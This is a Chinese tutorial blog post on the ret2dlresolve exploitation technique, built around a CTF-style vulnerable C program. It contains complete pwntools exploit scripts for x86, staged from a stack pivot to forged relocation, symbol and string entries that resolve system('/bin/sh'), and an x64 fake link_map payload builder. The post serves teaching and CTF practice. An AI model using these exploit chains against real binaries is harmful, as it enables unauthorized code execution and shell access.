当前位置: 首页 > news >正文

从Pwn视角看动态链接:手把手教你一步步伪造ret2dlresolve攻击链(x86/x64实战)

深入解析ret2dlresolve攻击:从原理到实战的完整指南

在二进制安全领域,ret2dlresolve攻击是一种精妙的技术手段,它允许攻击者在无法泄露libc地址的"盲打"环境下,通过精心构造的数据结构欺骗动态链接器解析任意函数。本文将带你从底层原理出发,逐步构建完整的攻击链,并对比分析x86与x64架构下的实现差异。

1. 动态链接机制基础

Linux系统中的动态链接过程依赖于几个关键数据结构:

  • .plt节:过程链接表,包含跳转到GOT的指令
  • .got.plt节:全局偏移表,存储函数实际地址
  • .rel.plt节:重定位表,记录需要重定位的函数信息
  • .dynsym节:动态符号表,包含符号的基本信息
  • .dynstr节:动态字符串表,存储符号名称字符串

当程序第一次调用动态链接函数时,会触发以下流程:

  1. 执行PLT表中的跳转指令
  2. 将重定位偏移(reloc_arg)和link_map压栈
  3. 调用_dl_runtime_resolve函数
  4. _dl_runtime_resolve调用_dl_fixup完成实际解析

关键数据结构定义如下(x86架构):

typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 符号名在.dynstr中的偏移 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info;// 类型和绑定属性 unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;

2. ret2dlresolve攻击原理

ret2dlresolve的核心思想是伪造动态链接器解析函数所需的数据结构,控制解析过程使其解析攻击者指定的函数(如system)。攻击者需要:

  1. 控制reloc_arg参数,使其指向可控内存区域
  2. 伪造.rel.plt条目,控制r_info指向可控的符号表位置
  3. 伪造.dynsym条目,控制st_name指向可控的字符串表位置
  4. 伪造.dynstr内容,将目标函数名替换为攻击函数名(如write→system)

攻击成功的关键在于精确控制每个数据结构的字段,使其通过动态链接器的各项检查。

3. x86架构实战步骤

3.1 基础环境准备

我们使用以下示例程序进行演示:

#include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }

编译命令:

gcc -fno-stack-protector -m32 -z relro -no-pie bof.c -o bof

3.2 分阶段攻击实现

阶段一:控制reloc_arg
from pwn import * elf = ELF('./bof') offset = 112 read_plt = elf.plt['read'] write_plt = elf.plt['write'] ppp_ret = 0x08048619 pop_ebp_ret = 0x0804861b leave_ret = 0x08048458 bss_addr = 0x0804a040 base_stage = bss_addr + 0x800 r = process('./bof') r.recvuntil('Welcome to XDCTF2015~!\n') # 栈迁移到bss段 payload = flat('A' * offset, p32(read_plt), p32(ppp_ret), p32(0), p32(base_stage), p32(100), p32(pop_ebp_ret), p32(base_stage), p32(leave_ret)) r.sendline(payload) # 基础调用 cmd = "/bin/sh" plt_0 = 0x08048380 index_offset = 0x20 payload2 = flat('AAAA', p32(plt_0), index_offset, 'aaaa', p32(1), p32(base_stage + 80), p32(len(cmd)), 'A' * 52, cmd + '\x00', 'A' * 12) r.sendline(payload2) r.interactive()
阶段二:伪造.rel.plt条目
rel_plt = 0x08048330 fake_write_addr = base_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write'] r_info = 0x607 # write的符号信息 fake_write = flat(p32(r_offset), p32(r_info)) payload2 = flat('AAAA', p32(plt_0), fake_arg, 'aaaa', p32(1), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * 44, cmd + '\x00', 'A' * 12)
阶段三:伪造.dynsym条目
dynsym = 0x080481D8 align = 0x10 - ((base_stage + 36 - dynsym) % 16) fake_sym_addr = base_stage + 36 + align r_info = (((fake_sym_addr - dynsym) // 16) << 8) | 0x7 fake_write = flat(p32(r_offset), p32(r_info)) fake_sym = flat(p32(0x4c), p32(0), p32(0), p32(0x12)) payload2 = flat('AAAA', p32(plt_0), fake_arg, p32(ppp_ret), p32(1), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * align, fake_sym) payload2 += flat('A' * (80 - len(payload2)), cmd + '\x00') payload2 += flat('A' * (100 - len(payload2)))
阶段四:伪造.dynstr内容
strtab = 0x08048278 fake_write_str_addr = base_stage + 36 + align + 0x10 fake_name = fake_write_str_addr - strtab fake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0x12)) fake_write_str = 'system\x00' payload2 = flat('AAAA', p32(plt_0), fake_arg, p32(ppp_ret), p32(base_stage + 80), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * align, fake_sym, fake_write_str) payload2 += flat('A' * (80 - len(payload2)), cmd + '\x00') payload2 += flat('A' * (100 - len(payload2)))

4. x64架构的特殊处理

x64架构下的ret2dlresolve攻击面临额外挑战,主要来自_dl_fixup函数中的额外检查:

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { // 额外检查代码 ... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); }

在x64下,我们需要:

  1. 确保sym->st_other不为0,跳过额外检查
  2. 伪造link_map结构,控制l_addr值
  3. 将sym->st_value设置为已知函数的GOT地址

4.1 x64攻击实现

def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap = p64(offset & (2**64 - 1)) # l_addr linkmap += p64(0) + p64(fake_linkmap_addr + 0x18) # DT_JMPREL linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2**64 - 1)) # r_offset linkmap += p64(0x7) + p64(0) # r_info and r_addend linkmap += p64(0) # l_ns linkmap += p64(0) + p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # DT_STRTAB linkmap += p64(fake_linkmap_addr + 0x38) # DT_SYMTAB linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # DT_JMPREL return linkmap

5. 防护机制与绕过技巧

现代系统部署了多种防护机制对抗ret2dlresolve攻击:

防护机制影响绕过方法
RELRO限制.got.plt写入使用Partial RELRO环境
ASLR随机化内存布局不需要泄露地址
Stack Canary检测栈溢出不破坏canary值
PIE随机化代码段编译时禁用PIE

在实际CTF挑战中,ret2dlresolve常用于以下场景:

  • 没有泄露libc地址的方法
  • 程序开启了NX但未开启FULL RELRO
  • 存在栈溢出但无法泄露内存

6. 实战技巧与调试方法

调试ret2dlresolve攻击时,以下技巧很有帮助:

  1. 使用GDB插件

    gdb -q ./bof -ex 'b *0x08048380' -ex 'r'
  2. 检查关键数据结构

    readelf -r ./bof # 查看重定位表 readelf -S ./bof # 查看节头信息
  3. 分阶段验证

    • 先验证栈迁移是否成功
    • 再测试伪造的.rel.plt是否被正确解析
    • 最后验证完整攻击链
  4. 常见问题排查

    • 确保所有伪造地址可读
    • 检查结构体对齐要求
    • 验证每个阶段的参数是否正确

ret2dlresolve攻击虽然复杂,但通过分阶段构建和验证,可以逐步掌握这项强大的技术。它不仅是一种攻击手段,更是理解Linux动态链接机制的绝佳途径。

http://www.cnnetsun.cn/news/2762693.html

相关文章:

  • Js代码转HTML,Js和Html互转在线工具
  • 从图形调试困境到精准定位:RenderDoc现代图形调试全流程解析
  • AI如何用高效信息破解NP完全性困境
  • 别再裸机轮询了!用STM32F407和RTX5实现多任务,代码清爽得像换了个人
  • 从LaTeX代码到完美排版:手把手教你调试IEEE模板中的作者信息区块(authorblock)
  • 别再只调包了!深入Spark MLlib ALS源码,搞懂电商推荐中的矩阵分解与冷启动难题
  • 手把手教你用Cloudflare为R2S软路由下的NAS设置DDNS,实现免费外网访问(含URL转发隐藏端口)
  • 别再死记硬背了!用‘上下文无关文法’和‘语法树’图解,5分钟搞懂高级语言语法核心
  • 新手避坑指南:用龙邱BCMV3扩展板给树莓派4B小车编程,从LED到电机驱动全流程
  • 避坑指南:路透社数据集多分类任务中,标签编码选categorical_crossentropy还是sparse_categorical_crossentropy?
  • 免费降重工具精选:AI智能改写高效降低重复率
  • 计算机专业学生必看:如何利用CCF和CORE排名,快速定位适合投稿的顶会(附最新列表)
  • MuleSoft企业级AI编排:LLM工业封装与生产落地实践
  • 从板框评估到叠层设计:一个四层PCB项目在AD中的完整避坑实操记录
  • 跨GPU超分辨率技术:如何让游戏帧率提升300%?
  • 别再纠结了!用Altium Designer设计电路时,RC和LC滤波器到底怎么选?(附实战对比)
  • KoAlpaca-llama-1-7b韩语对话模型:为什么选择它进行韩语NLP任务
  • OptiScaler:一键解锁所有显卡的AI超分超能力
  • 保姆级教程:在Docker版Nextcloud里离线安装Collabora在线文档(附端口映射与权限配置避坑点)
  • 零基础入门安卓开发:在快马平台获取你的第一个带注释的Android Studio项目
  • 提升wms开发效率:用快马ai自动生成库存预警等标准化功能模块代码
  • ROS机械臂仿真:别让‘arm_controller/follow_joint_trajectory’错误浪费你的时间,一份避坑指南
  • 三秒看图识可导:尖角、断点、垂直切线三大视觉判据
  • DBC文件避坑指南:从通讯协议到CANoe信号解析,这5个细节新手最易出错
  • 多维聚合数据操作:超越GROUP BY的语义治理与工程实践
  • PDF补丁丁:无需安装的PDF编辑神器,三步搞定所有PDF难题
  • 从ABAP内表到数据库:当`LINES(lt_table)`不等于`COUNT(*)`时,你该注意什么?
  • FLAN-T5-XXL 微调教程:如何用自定义数据训练模型
  • 别再搞混了!ArcMap里‘定义投影’和‘投影’到底啥区别?手把手教你正确转换WGS84坐标
  • RomPatcher.js源码解析:理解多格式补丁算法的实现原理